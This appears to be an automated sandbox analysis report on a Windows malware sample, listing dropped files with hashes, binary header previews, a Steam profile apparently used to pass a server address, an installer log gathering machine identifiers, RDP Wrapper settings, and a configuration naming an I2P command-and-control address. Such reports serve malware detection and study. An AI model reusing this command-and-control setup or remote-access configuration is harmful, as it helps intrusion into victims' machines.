SSDEEP:	49152:x3FUhq8uEA5Cu+Ng9hxWpZdESPzNHk8aPu9ipJY0/CcjaChdReYEk8fSj+TBmkOh:P/CvGkk+8qc8OnF8iiDoA1+dbjdQI
MD5:	E9CEBB30948E986C3C16E0C9EF8EC9F2
SHA1:	2F8B30106FE66B69C4920771142189A7B6C0C49E
SHA-256:	3C96C92C11B1277B3569D21BDE04EE9B33501AEE5CB4AEA08DAC7DD41FF1845F
SHA-512:	122B44A39318A5D5D4DCA97D51A22BAA6B2B7BD9F0DAFEA81168C05BFE745C7D29AD3522B7CED2A75E7BD98ECBE3524AFD8C70522BE2D13AAC95E5F919A9F4A5
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win64..$7........................................................................................................................................PE..d......f..........".........,+..............@..............................`.......................@............... ...............`.......`.."P......\|......................................................(....................t...............................text...0.......................... ..`.data....}.......~.................@....bss....,....`...........................idata.."P...`...R...D..............@....didata.............................@....edata.......`.......(..............@..@.tls.........p...........................rdata..m............*..............@..@.reloc...............,..............@..B.pdata..............................@..@.rsrc....\|......\|...v..............@..@.............`.....................@..@

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\76561199747278259[1].htm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3070), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	34725
Entropy (8bit):	5.399245292089741
Encrypted:	false
SSDEEP:	768:/dpqm+0Ih3tAA9CWGVGfcDAJTBv++nIjBtPF5zfJkPVoEAdLTBv++nIjBtPF5x2O:/d8m+0Ih3tAA9CWGVGFJTBv++nIjBtPK
MD5:	147372F4F51190F26A9E1841E697E532
SHA1:	2E817AECCA1C9B4EEF8323A243453541DBC0BF11
SHA-256:	EDD36F3D067D288A274E5D552303F1BA00854B54CB78FB39F4F5805707BFCA5D
SHA-512:	CC0F2AFF3110C4634D422E662D964555523B38D8F18492E7181A3AF385DBED2EFF5070F687193C401A119411050A7973FF501EEFDA118F2C488D9E8BC23FF29C
Malicious:	false
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: gi_z2 https://5.75.212.60\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=_D2Bg4UEaFxK&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english" rel="stylesheet" type="text/css" >.<link href

C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe

Download File

Process:	C:\ProgramData\BFCAAEHJDB.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	10636288
Entropy (8bit):	6.704916902027684
Encrypted:	false
SSDEEP:	196608:F1XYZ4Q+Kt8eiMFbO1CPwDvt3uF8f339CME:F1XgfieiMs1CPwDvt3uFe9CME
MD5:	1455F96A3552BFFCBD01FB90A2A4447B
SHA1:	A0BEB097FB0F3FD1A83EF3D01BFF8706A40B32C1
SHA-256:	CE82112E8B4476B65B09FCCD1CFF9F2F088FE4837C9129DE3D82CAEE138E6D7C
SHA-512:	D2D8F7667CC44F136F34C30A8759C38AEE3FFBBDAFD1EB6329BF725F3C5CFCD1A0B2F64F9C12FEEE88680719CB4E3498BFC3D96927EF1F14CA6B4F1C79B52290
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(.....H.................@.....................................@....`... ..............................................p...............0..d........................................... ...(....................u...............................text...............................`..`.data...P.........................@....rdata...^......`..................@..@.pdata..d....0......................@..@.xdata.......@.......&..............@..@.bss....P....P...........................idata.......p.......0..............@....CRT....`............F..............@....tls.................H..............@....reloc...............J..............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\installer.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3490
Entropy (8bit):	5.489501925945411
Encrypted:	false
SSDEEP:	96:i6BJ9VrDT0HU0Hn0H11U0H10H+kQHR3SPkGg0HNVHYHr0HltHa:vDTfT000H0DU0V0TQxiPkGg0tV4L0Ft6
MD5:	0266C6DC6340CE09B3BE7C00F3740640
SHA1:	6A3D5783B719179B1945CEB27F04C1B4658655AD
SHA-256:	E11E57BE5E9EDAA701F9C402EA9CF76C9CA4DBCE45F3836A2316D9908ABCCC3C
SHA-512:	1D7B144D2C9DBD779890127CBE5138E4C11939838238EF92D1553B4C5DD00E4BD7A7E932AA8A4B490A5383078B8F9120C2AD6EDB77227E13E46566B8122865EF
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\user\AppData\Local\Temp\installer.log)..[I] (debug_init) -> Done..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ffdb4390000)..[D] (module_get_proc) -> Done(hnd=0x00007ffdb4390000,name=RtlGetVersion,ret=0x00007ffdb43ce520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=ca1061d8)..[I] (sys_init) -> Done(sys_uid=c76a8f08ca1061d8,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (fs_path_expand) -> Done(path=%PUBLIC%,xpath=C:\Users\Public,xpath_sz=15)..[I] (fs_dir_create) -> Done(path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\,recursive=1)..[D] (fs_attr_get) -> Done(path=C:\Users\Public\Computer.{20d04fe0-3aea

C:\Windows\Temp\1kuzcKGx

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	115200
Entropy (8bit):	6.220309385007289
Encrypted:	false
SSDEEP:	1536:RQsjbnQsiAEVTEWeFENdEUD1/H6BELpsV4vN8qdnJNXq8Vc3:RQibZibeFENdppW54NdvXq6c3
MD5:	E6CAC6ACD18D0BBAD9C2384B1DBEDE84
SHA1:	63004A83FF18CCE911BC74D27C1A2B7BEA9CF4C3
SHA-256:	9BC6EDD286F4DCD83E57B541BC99038F7E902DE943A6FD528BA485DF1187FFA8
SHA-512:	43C745D49AB82809C24E5EE62E11406B12B695140117EB1012111EEA3B73F9B34B5ADE21A1DB3AA1FEAD982F266B05646A08A4813CBA2EA950C59A73AB069FB3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(............\........."h.............................P......Zq....`... .........................................^....................................@..l........................... ...(.......................h............................text...X...........................`..`.data........0......................@....rdata..@d...@...f...(..............@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^...........................@..@.idata..............................@....CRT....X.... ......................@....tls.........0......................@....reloc..l....@......................@..B........................................................................................................................................................................

C:\Windows\Temp\FHLBnhuN

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	104448
Entropy (8bit):	6.25639342609658
Encrypted:	false
SSDEEP:	1536:cTa6mu/WYUIdcVVKwU4k+EFfgvVFc2nx7ehX/DhZB34:cTa6mu5UIdc/KwzrGgw2x7ehX7hP34
MD5:	7D37AB1E97BBC8593665FF365D8C96B7
SHA1:	B42A6717F91A4C538A4979AB1F0A9CC58485061D
SHA-256:	1DA31243257B0EBC79BA57CA98E6A3A1996CC4E2641E96098561CDCB1FA3EE46
SHA-512:	60B3683FA7BCA42932E02AED4615E67264F31D6F85BEBCD3EA7187B9F7A9F79270341496432C07F7E9B10A3172AF22D636206FA5B89514A693405EC9D61F678D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(............\.........?..............................0.......'....`... .........................................^.......................$............ ..l............................v..(.......................`............................text...............................`..`.data...............................@....rdata...a... ...b..................@..@.pdata..$............h..............@..@.xdata..T............r..............@..@.bss.... ................................edata..^............\|..............@..@.idata...............~..............@....CRT....X...........................@....tls................................@....reloc..l.... ......................@..B........................................................................................................................................................................

C:\Windows\Temp\K5561pLF

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	Generic INItialization configuration [SLPolicy]
Category:	dropped
Size (bytes):	435089
Entropy (8bit):	5.449337416498263
Encrypted:	false
SSDEEP:	768:DUoDQVQpXQq4WDi9SUnpB8fbQnxJcy8RMFdKKb8x8Rr/d6gl/+f8jZ0ftlFn4p7V:TG6Gl33L+MOIiG4IvREWddadl/Fy/k8n
MD5:	8CCA461A362EF864BDF35EDDE9F8E7A5
SHA1:	83E7254EAA34C130EA56965E4CF46610AAF69C8F
SHA-256:	785639D13771B021F191EC60E1C8E3E2EFEA164D2005F297A24559AEB0F58CCF
SHA-512:	E01B175FAD5C6F718C9A504B49A516F270A93A277D8CCD11A41713CC337489FA0FBC3176B629A9A368A65D48CC31685F02DB6FDD486B91F31DF9F621E636817F
Malicious:	false
Preview:	; RDP Wrapper Library configuration..; Do not modify without special knowledge..; Edited by sebaxakerhtc....[Main]..Updated=2024-06-28..LogFile=\rdpwrap.txt..SLPolicyHookNT60=1..SLPolicyHookNT61=1....[SLPolicy]..TerminalServices-RemoteConnectionManager-AllowRemoteConnections=1..TerminalServices-RemoteConnectionManager-AllowMultipleSessions=1..TerminalServices-RemoteConnectionManager-AllowAppServerMode=1..TerminalServices-RemoteConnectionManager-AllowMultimon=1..TerminalServices-RemoteConnectionManager-MaxUserSessions=0..TerminalServices-RemoteConnectionManager-ce0ad219-4670-4988-98fb-89b14c2f072b-MaxSessions=0..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-MaxSessions=2..TerminalServices-RDP-7-Advanced-Compression-Allowed=1..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-LocalOnly=0..TerminalServices-RemoteConnectionManager-8dc86f1d-9969-4379-91c1-06fe1dc60575-MaxSessions=1000..TerminalServices-DeviceRedirection-Licenses-TS

C:\Windows\Temp\KXEmxT2p

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	9146880
Entropy (8bit):	6.674746222402691
Encrypted:	false
SSDEEP:	196608:k1XYZ4Q+Kt8eiMFbO1CPwDvt3uF8f339CME:k1XgfieiMs1CPwDvt3uFe9CME
MD5:	FE7ED803A7F672FAEE4587732B2C6E0F
SHA1:	DF209D1B055044ABF4C0A6D4DE3EBFCD8D7784E1
SHA-256:	154C3DCA584BB1F78C7AE7688D70998F2B62BED8884267E3FCF150BFEFE2C9D8
SHA-512:	06E185F1689E7B5DFEF6625D99FF14DFCFF6C2203E9BE323FED3B6A9684C5179964969546D42F4639DB878903981BB15E0A8F62A1C5B2B0A47FA3496E05FDD3F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...R.me..........."...).t]......R..0........................................P.......o....`... .......................................z..t... ...,............p..?...........p...............................`m.(....................*...............................text...(r]......t].................`..`.data.........]......x].............@....rdata.. >...@^..@....^.............@..@.pdata...?....p..@...^p.............@..@.xdata...t....t..v....t.............@..@.bss....`Q...@z..........................edata...t....z..v....z.............@..@.idata...,... ......................@....CRT....`....P......................@....tls.........`......................@....reloc.......p......................@..B........................................................................................................................................................................

C:\Windows\Temp\Lx9RtFcl

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	6.2749560583234105
Encrypted:	false
SSDEEP:	1536:9s2Ppklhc1NUWdaC/fHdHqTjhcqiBMAW4LFLvkgTzn6X8Y6ow6S:RIhc1NUWkC9qarBMILNz6X8Y6owz
MD5:	D44FBD8760E79F5D950DB5BC6E86A398
SHA1:	2175264673A9A5B7AF024D8E8F28879B1758ABC8
SHA-256:	AD38977D88E19C24793C6AEE42B6389536B6879FAA50E2438350F140247A9DF2
SHA-512:	9FD106939BF686D53676669755272CB59B2CCB7909BE27B40C7261988264E801CDC94503F3ED70B95CB0980C65153AA0CC66CA764C053846C4626FDE86E122E0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(............\........................................P.......K....`... .........................................^....................................@..p...............................(...................X................................text...............................`..`.data........0......."..............@....rdata..pi...@...j...$..............@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^...........................@..@.idata..............................@....CRT....X.... ......................@....tls.........0......................@....reloc..p....@......................@..B........................................................................................................................................................................

C:\Windows\Temp\OjI1jGmI

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	66138
Entropy (8bit):	7.828263238514239
Encrypted:	false
SSDEEP:	1536:DcfdIJTAe0fhT4Fv/XkiO2ZgYd3218xs3svEykZd:aaTHl33O2u4XOsvQ
MD5:	166C6727028BD4F428E411ED225117C6
SHA1:	D08CB3E69EA6CF633349F990229E87CBA4BCD72A
SHA-256:	63A0993B931DAD9DCCF08EA48A0D8E8BA94652EDA5BC84F787E640CDD0FC800A
SHA-512:	90EDF532080C61E9FEE3B8C884E8894B8A52955410489BBCBA3A53AB7A2E291EC2D382A2CB1F5B304762207CBC1971F4A440281A5653257E7223CE171B3646A0
Malicious:	false
Preview:	I2Psu3..................................1721890600......reseed@cnc.netPK.........3.Xw.H.....a...;...routerInfo-6bL8xvKABpTmmQ-0qofqx9csy9SWPBPDE3hUrYsOrWo=.dat;t....C.>%.6.........Fh........E..e.<..Y..g{...k.W>6.\|......3..~...F...Z..z..+.....I...;U.....X....>..........'..x.....X.B.....X2.Kly..-......L....3m%..+3...R-uC]..s#..}..mm.Y..JlY.,.....muR.C}R}C..+u..}.3.........+..#.K,L..J..\|.+.m...l...9`.`...5b...XPl...l..=:I...~....E..>.!.....&..~.......i.&n%..e.X....\...i`.......o..[.V.....[Q..d..k..h..s#.C2.Y..iA.y.%.) q. +%I/;/.<.'5.858.......Z.I(..$.............+..e.....Y.ZX..N.Z.......<g.~...-}.....f.E!.....G......Q[..e.;.....l....M...PK...........X.r.........;...routerInfo-bfaXwwIiRX4zIAbSubKcynpxGzaHUWg7O6~I62TpPWI=.dat;.......f...$.f..._.>...9~.....-"{Z..Y...M(...)P.Z=......[.F....w...W.gF.B..Ys.[,..*..Oz.v......~V...v f`..xe..3.....8..1..d.....Z...........5c...yVi....i...srq.c^Z]FA...5KA~Q.-......5c...E@.A.yNT.y^QpIX`D..nEi`xe.....eZ.O.A.a.

C:\Windows\Temp\QO8YpEd6

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	Generic INItialization configuration [cnccli]
Category:	dropped
Size (bytes):	214
Entropy (8bit):	5.104102844508187
Encrypted:	false
SSDEEP:	6:1EVQLD4o8WnuJO+70X1YIzOD7kXpTRL9gWVUDeLn:Cjo8DJO+70X1YeC7kX9vgpKL
MD5:	91D86E531FECE0D34AD78D947FC7331C
SHA1:	52C9A7C16634637E9DB31A6CE63850DFB170B44D
SHA-256:	A885C71096995389DF3015B194B9AD10AE24C4328F4322932D6455398B2FC653
SHA-512:	1EE4ED0F8045670DBEE2C5C4F8100C362B84C1CCC1A2E7F4FD1E97EC057055F1A8DC75A0CE349CC01DBFFA2B18E7C7C2288845641358CA3A609B0E6FBD9F49B5
Malicious:	false
Preview:	[main]..version=400004957b19a09d..[cnccli]..server_host=c21a876e..server_port=41674..server_timeo=15000..i2p_try_num=10..i2p_sam3_timeo=15000..i2p_addr=2lyi6mgj6tn4eexl6gwnujwfycmq7dcus2x42petanvpwpjlqrhq.b32.i2p..

C:\Windows\Temp\S7evpAMe

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	92672
Entropy (8bit):	6.241321016680509
Encrypted:	false
SSDEEP:	1536:uVq4VcOpVJ7Z4LB2gnUYQulkvJp0qn2goggVoOHDE:uVq4VcOph4LB2khdkYq2goggM
MD5:	FB3BDB27D9C479148F3545ED99E65980
SHA1:	A5860563DE81D8B74A1C842647E8F4AC7655842A
SHA-256:	2B5DC45E89700D4B991ADDED1AA097641D60932B7BBE2C12FC8536B9D46F15A6
SHA-512:	A26D4B169C4061FC7A2A5FEFAEB4AAE0E9A28211FA28F42B929EAAC3721DCBDD17A17ED6E77A79C17D93355CF85E4C46118E42D4F527ADF054AB1CC79C8B4D74
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(.....f......\.........Io....................................W.....`... .........................................^....................`..................l............................J..(....................................................text...............................`..`.data...............................@....rdata...U.......V..................@..@.pdata.......`.......<..............@..@.xdata.......p.......F..............@..@.bss....`................................edata..^............P..............@..@.idata...............R..............@....CRT....X............d..............@....tls.................f..............@....reloc..l............h..............@..B........................................................................................................................................................................

C:\Windows\Temp\TD8r2foe

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8812
Entropy (8bit):	5.004039288486309
Encrypted:	false
SSDEEP:	192:b+FDwgDqM/VN8TWEMX4XpFsn/7BvvFQ6/C5:S3N8KX4pFsnS
MD5:	1256DA672B8F39A275FE17E6C716F822
SHA1:	B156C2186056CC5BFCA84549DD53F796936B2F6D
SHA-256:	44DC1F938213E09A6EF6A64A9F14804530AE53F41E71813EFAF651D9516E246E
SHA-512:	956D431C83ED0DD59D6F1F3101DCBCAD0C6BC1E06031141AAA236F7115A6CDAF95CCEA09E42CF1047D2205E8B37F87EA17BEBAABFB9C85B96D6FA12DE1C7F403
Malicious:	false
Preview:	## Configuration file for a typical i2pd user..## See https://i2pd.readthedocs.io/en/latest/user-guide/configuration/..## for more options you can use in this file.....## Lines that begin with "## " try to explain what's going on. Lines..## that begin with just "#" are disabled commands: you can enable them..## by removing the "#" symbol.....## Tunnels config file..## Default: ~/.i2pd/tunnels.conf or /var/lib/i2pd/tunnels.conf..# tunconf = /var/lib/i2pd/tunnels.conf....## Tunnels config files path..## Use that path to store separated tunnels in different config files...## Default: ~/.i2pd/tunnels.d or /var/lib/i2pd/tunnels.d..# tunnelsdir = /var/lib/i2pd/tunnels.d....## Path to certificates used for verifying .su3, families..## Default: ~/.i2pd/certificates or /var/lib/i2pd/certificates..# certsdir = /var/lib/i2pd/certificates....## Where to write pidfile (default: /run/i2pd.pid, not used in Windows)..# pidfile = /run/i2pd.pid....## Logging configuration section..## By default logs go

C:\Windows\Temp\fJw4qvYl

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	105984
Entropy (8bit):	6.293384667837124
Encrypted:	false
SSDEEP:	1536:ZPwYKFFHK6Qt+mPIg3aQtvv4+kWn+DnP8XprSCYA8CSs8qgu06wCYA8CSs8qgu08:lwf1KpFIg3hvIWmnP8XpD
MD5:	B85FECC5E81D0CFBC3750C06E4A11412
SHA1:	0F57603DB18BFE0A5EE50D618184E9ED4FCAFD7F
SHA-256:	9FD76374C6E19923F99411D6F9BBF6614C94D81CD47630314C2AE21A94DF40A8
SHA-512:	97D553317BB4D276E7F5F3C5808DCB8717319047512DEF6B96DA17D57248FFD5E374833A98F767F14BD8F3059DE464F7829D47C65D969BE868431FAAF6A61C1D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(............\........................................@......bt....`... .........................................^.......................T............0..h...............................(.......................`............................text...............................`..`.data........ ......................@....rdata..Pc...0...d..................@..@.pdata..T............n..............@..@.xdata...............x..............@..@.bss....@................................edata..^...........................@..@.idata..............................@....CRT....X...........................@....tls......... ......................@....reloc..h....0......................@..B........................................................................................................................................................................

C:\Windows\Temp\feJ0dymt

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37376
Entropy (8bit):	5.7181012847214445
Encrypted:	false
SSDEEP:	768:2aS6Ir6sXJaE5I2IaK3knhQ0NknriB0dX5mkOpw:aDjDtKA0G0j5Opw
MD5:	E3E4492E2C871F65B5CEA8F1A14164E2
SHA1:	81D4AD81A92177C2116C5589609A9A08A5CCD0F2
SHA-256:	32FF81BE7818FA7140817FA0BC856975AE9FCB324A081D0E0560D7B5B87EFB30
SHA-512:	59DE035B230C9A4AD6A4EBF4BEFCD7798CCB38C7EDA9863BC651232DB22C7A4C2D5358D4D35551C2DD52F974A22EB160BAEE11F4751B9CA5BF4FB6334EC926C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........qc..qc..qc......qc...`..qc...g..qc..qb..qc...b..qc...f..qc...c..qc...j..qc......qc...a..qc.Rich.qc.................PE..d...#............." .....Z...>.......]...............................................a....`A.........................................~..........@...............................\... x..T............................p...............q..P............................text....Y.......Z.................. ..`.rdata.......p.......^..............@..@.data...P............z..............@....pdata...............\|..............@..@.rsrc...............................@..@.reloc..\...........................@..B........................................................................................................................................................................................................................................................

C:\Windows\Temp\g29qQU9G

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	6.229599360032918
Encrypted:	false
SSDEEP:	1536:TP9ubSSddAQnoS8S1XsonSimrEozPyHzCnUbPICBL62:T1ubSSddAQoS8S1XsonGwW6CUbAC962
MD5:	BF5D5BA471AB0266F991095FDCF74140
SHA1:	42E890322966B7F2F9802C9E22269ED339C2969B
SHA-256:	91DB57A2B77AC18B9605B08D7B926F9DC32C7E7D6F4047FBA0270A4403C288BB
SHA-512:	B9F0113802C113F9FF5975989CC6CB9735CBE62D881E009FE853938604837996412332679C7EB7022B734401B2580D116566F7BA51CA62F787CF1D617B9EBC96
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(.....`......\...............................................B.....`... ..............................................................`..................d............................I..(......................h............................text...X...........................`..`.data...............................@....rdata.. T.......V..................@..@.pdata.......`.......8..............@..@.xdata..4....p.......B..............@..@.bss....@................................edata...............L..............@..@.idata...............N..............@....CRT....X............^..............@....tls.................`..............@....reloc..d............b..............@..B........................................................................................................................................................................

C:\Windows\Temp\h0yu5TYE

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	129024
Entropy (8bit):	6.3129183036473915
Encrypted:	false
SSDEEP:	3072:7LZ2Dkkvacm5vSs9dHoLDS6o2zhoesVR8sZnv:/RLk9o2zk
MD5:	FEF8651F5F797F30A37D7CD36BEA31AC
SHA1:	8E85D22FB5247A69C1298D703D629DD46BC44C74
SHA-256:	4083F67D11E7DF827BFF6C665B29F39FB197B4BA608D5C39ECFF46EA9A0B61F0
SHA-512:	9C69D66690080A341C25EEB9E258FDE4DD4E94B80AF0085753E758378C1E1790FAEF48C7384AD5171C63BE156C68D0F207ECABF78D8AB5F367E04D5A34828851
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(.:..........\.........,.....................................~&....`... ...................................... ..^....0..D............................p..l...............................(...................p5...............................text...x9.......:..................`..`.data........P.......>..............@....rdata.......`.......@..............@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^.... ......................@..@.idata..D....0......................@....CRT....X....P......................@....tls.........`......................@....reloc..l....p......................@..B........................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.471214736673449
Encrypted:	false
SSDEEP:	6144:czZfpi6ceLPx9skLmb0faZWSP3aJG8nAgeiJRMMhA2zX4WABluuNEjDH5S:iZHtaZWOKnMM6bFpij4
MD5:	0740B4E2D8ACE24CB15D06EDAB878C1B
SHA1:	77A2204222CAA848314C2BBF99D5DB8B60CA44DE
SHA-256:	2F25233C4991568B525398A6B6F0CC7365BAF5E3EDF351455E955B0BACDD71C2
SHA-512:	22EF5668AFE1E10CA05943AEFB12C82539A259164BEC06EB91C224BBE77031685AB81E0E969112301D24D2F41961C8F86BA1410216C3C55BEE560DCE7788BF0F
Malicious:	false
Preview:	regfI...I....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.6.>...............................................................................................................................................................................................................................................................................................................................................F.!6........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	4.7764157519415775
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	356'864 bytes
MD5:	bea49eab907af8ad2cbea9bfb807aae2
SHA1:	8efec66e57e052d6392c5cbb7667d1b49e88116e
SHA256:	9b645f570116d3e10faa316981e4fcde6fe55417feced3385cfbb815c7df8707
SHA512:	59486e18be6b85f5275c19f963d124f4f74c265b5b6dfa78c52f9243e444f40a7747a741ccb59bf1863ffb497321324c803fc967380900a6a2e0219eb99f387c
SSDEEP:	3072:oh2eRgJtqxVRGKf8OGiLOnXChCrmqSOLMKTJGlRayuEpZTPckmRmVfL:URRgJtqpGO8OUnrpbMKT0lXZT3p
TLSH:	9B74BF50F16BD839F5A2493C4C34C6E1212A7C53D969D54BF69C3FAF3DF22406AA9322
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......K..K............`.y.....`.L.....`.x.P.....A.........\|...`.}.....`.H.....`.O.....Rich............................PE..L....I>e...

File Icon


Icon Hash:	cd4d3d2e4e054d07

Static PE Info

General

Entrypoint:	0x401fbc
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x653E49D5 [Sun Oct 29 12:02:29 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	6170db845a7347035e264cc3f102fc84

Entrypoint Preview

Instruction
call 00007F685C9BE93Bh
jmp 00007F685C9BB8DEh
mov edi, edi
push ebp
mov ebp, esp
mov edx, dword ptr [ebp+08h]
push esi
push edi
test edx, edx
je 00007F685C9BBA59h
mov edi, dword ptr [ebp+0Ch]
test edi, edi
jne 00007F685C9BBA65h
call 00007F685C9BBC02h
push 00000016h
pop esi
mov dword ptr [eax], esi
call 00007F685C9BC36Dh
mov eax, esi
jmp 00007F685C9BBA85h
mov eax, dword ptr [ebp+10h]
test eax, eax
jne 00007F685C9BBA56h
mov byte ptr [edx], al
jmp 00007F685C9BBA34h
mov esi, edx
sub esi, eax
mov cl, byte ptr [eax]
mov byte ptr [esi+eax], cl
inc eax
test cl, cl
je 00007F685C9BBA55h
dec edi
jne 00007F685C9BBA45h
test edi, edi
jne 00007F685C9BBA63h
mov byte ptr [edx], 00000000h
call 00007F685C9BBBCCh
push 00000022h
pop ecx
mov dword ptr [eax], ecx
mov esi, ecx
jmp 00007F685C9BBA18h
xor eax, eax
pop edi
pop esi
pop ebp
ret
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword ptr [ebp+08h]
